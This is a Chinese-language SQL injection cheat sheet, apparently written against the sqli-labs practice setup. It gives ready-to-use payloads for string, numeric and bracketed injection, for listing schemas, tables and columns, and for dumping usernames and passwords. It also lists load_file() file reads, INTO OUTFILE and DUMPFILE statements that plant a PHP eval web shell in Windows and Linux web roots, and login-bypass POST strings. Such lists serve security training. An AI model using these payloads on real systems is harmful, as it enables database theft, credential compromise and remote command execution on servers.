1.基于字符型报错注入
报字段数:
' order by 3 --+ // “+” 代表空格
' union select 1,2,3 --+
' UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM INFORMATION_SCHEMA.SCHEMATA --+ // 获取数据库信息
' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x7365637572697479 --+ // 获取表信息
' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 0x7573657273 --+ // 获取表字段信息
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x20),3 FROM security.users --+ // 获取数据o
2.基于数字型报错注入
不需要使用 ' 进行闭合,直接利用,利用方法和字符型一样
3.字符型报错注入(带())
') order by 3--+ // 使用 )进行闭合
4.字符型报错注入(带")
") order by 3--+ //
5. 导入导出函数
读取函数:load_file()
union select load_file(“C://TEST.txt”); 或者 union select load_file(“C:/TEST.txt”);
导出函数:outfile() dumpfile()
windows环境:
union select 1,2,'<?php eval($_POST["cmd"]) ?>' into outfile "C:\phpstudy\WWW\test\less7.php" %23
Linux环境:
union select 1,2,'<?php eval($_POST["cmd"]) ?>' into outfile "/var/www/web/cmd.php" %23
union select "<?php eval($_POST['cmd'])?>" dumpfile 'C:/phpstudy/WWW/test/webshell.php';
6.POST类型注入
uname=admin'#&passwd=chybeta&submit=Submit
uname=admin”#&passwd=chybeta&submit=Submit